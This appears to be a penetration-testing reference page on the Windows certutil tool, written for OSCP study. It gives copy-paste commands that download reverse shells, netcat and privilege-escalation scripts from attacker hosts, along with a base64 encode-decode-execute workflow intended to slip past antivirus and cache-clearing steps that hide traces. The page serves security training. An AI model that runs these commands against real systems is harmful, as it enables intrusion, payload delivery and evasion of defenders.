certutil — Windows Certificate Utility Reference
External: Internal All The Things — Windows Download Execute
What is certutil?
certutil is a built-in Windows command-line tool designed for managing certificates and the Windows certificate store. During penetration testing it is widely abused as a Living-Off-the-Land Binary (LOLBin) for:
- Downloading files from a remote server (no PowerShell needed)
- Base64 encoding / decoding files
- Computing file hashes (MD5, SHA1, SHA256)
- Encoding payloads for transfer and decoding them on target
OSCP use: Go-to file transfer method when PowerShell execution is restricted. Also useful for encoding payloads and verifying file integrity.
Syntax
certutil [options] [arguments]📌 1) File Transfer (Download)
This is the most common pentest use — pull a file from a remote HTTP server:
certutil -urlcache -split -f http://192.168.45.227:8000/ligolo/agent.exe agent.execertutil -urlcache -split -f http://192.168.45.227:8000/PowerUp.ps1 PowerUp.ps1
certutil -urlcache -split -f http://192.168.45.227:8000/revshell.exe revshell.exe
| Flag | Description |
|---|---|
-urlcache | Display or delete URL cache entries (side effect: downloads) |
-split | Split embedded ASN.1 elements and save to file |
-f | Force overwrite of an existing cached copy |
Download variants
REM Download an executable
certutil -urlcache -split -f http://10.10.14.5:8080/shell.exe C:\Temp\shell.exe
REM Download a script
certutil -urlcache -split -f http://10.10.14.5:8080/revshell.ps1 C:\Temp\rev.ps1
REM Download to current directory
certutil -urlcache -split -f http://10.10.14.5/nc.exe nc.exe
REM HTTPS download (ignores cert errors in newer Windows)
certutil -urlcache -split -f https://10.10.14.5/file.exe C:\Temp\file.exeeditable:
certutil -urlcache -split -f http://192.168.45.227:8000/MilleGPG5.exe MilleGPG5.exe
Clear the URL cache after download (cleanup)
certutil -urlcache -split -f http://ATTACKER_IP/file.exe C:\Temp\file.exe
certutil -urlcache -f http://ATTACKER_IP/file.exe deleteTip: The download leaves a cache entry. Delete it with the above to reduce artifacts.
📌 2) Base64 Encode / Decode
Encode a file to base64
certutil -encode C:\Temp\shell.exe C:\Temp\shell.b64Output is a base64 text file with -----BEGIN CERTIFICATE----- / -----END CERTIFICATE----- headers.
Decode base64 back to binary
certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exeFull encode-transfer-decode workflow
On attacker (Linux):
# Encode the payload
base64 shell.exe > shell.b64
# Serve it
python3 -m http.server 8080On target (Windows):
REM Download the encoded file
certutil -urlcache -split -f http://10.10.14.5:8080/shell.b64 C:\Temp\shell.b64
REM Decode it back to a binary
certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe
REM Execute
C:\Temp\shell.exeWhy encode? Some AV/EDR solutions and web filters are less likely to flag a base64 text file than a raw
.exe.
📌 3) Hash Verification
Verify file integrity or check if a file matches a known hash:
REM MD5
certutil -hashfile C:\Temp\file.exe MD5
REM SHA1
certutil -hashfile C:\Temp\file.exe SHA1
REM SHA256 (most common for integrity checks)
certutil -hashfile C:\Temp\file.exe SHA256Supported hash algorithms
| Algorithm | Flag |
|---|---|
| MD2 | MD2 |
| MD4 | MD4 |
| MD5 | MD5 |
| SHA1 | SHA1 |
| SHA256 | SHA256 |
| SHA384 | SHA384 |
| SHA512 | SHA512 |
📌 4) Certificate Store Operations (Legitimate Use)
REM List all certificates in the personal store
certutil -store My
REM List certificates in the root CA store
certutil -store Root
REM List certificates in the machine store
certutil -store -enterprise Root
REM Display a certificate file's info
certutil -dump C:\Path\cert.crt
REM Verify a certificate
certutil -verify C:\Path\cert.crt
REM Export a certificate
certutil -exportPFX My "CertThumbprint" C:\output.pfx📌 5) All Common Flags
| Flag | Description |
|---|---|
-urlcache | Display/delete URL cache; used with -split -f for downloads |
-split | Split ASN.1 elements to file |
-f | Force fetch / overwrite |
-encode | Base64-encode a file |
-decode | Base64-decode a file |
-hashfile | Compute hash of a file |
-store <name> | View a certificate store |
-dump | Dump certificate/file info |
-verify | Verify a certificate |
-addstore | Add a cert to a store |
-delstore | Remove a cert from a store |
-exportPFX | Export certificate and private key as PFX |
-importPFX | Import a PFX certificate |
-p <password> | Password for PFX import/export |
-enterprise | Use machine/enterprise store instead of user store |
-user | Use user certificate store |
-silent | Suppress output |
-v | Verbose output |
📌 Quick OSCP Cheat Sheet (Copy/Paste)
REM Download a file from attacker HTTP server
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe
REM Download and clean cache
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe & certutil -urlcache -f http://ATTACKER_IP:8080/file.exe delete
REM Encode binary to base64
certutil -encode C:\Temp\shell.exe C:\Temp\shell.b64
REM Decode base64 back to binary
certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe
REM Hash check
certutil -hashfile C:\Temp\file.exe SHA256Certutil vs Other Transfer Methods
| Method | Command | Notes |
|---|---|---|
certutil | certutil -urlcache -split -f URL dest | Built-in; no PS needed; leaves cache entry |
| PowerShell WebClient | (New-Object Net.WebClient).DownloadFile(URL, dest) | May be blocked by execution policy |
Invoke-WebRequest | iwr URL -OutFile dest | PowerShell 3+; common in modern Windows |
bitsadmin | bitsadmin /transfer job URL dest | Older LOLBin; still works on legacy systems |
| SMB | copy \\ATTACKER\share\file dest | Requires SMB share on attacker |
curl | curl URL -o dest | Available in Windows 10 1803+ |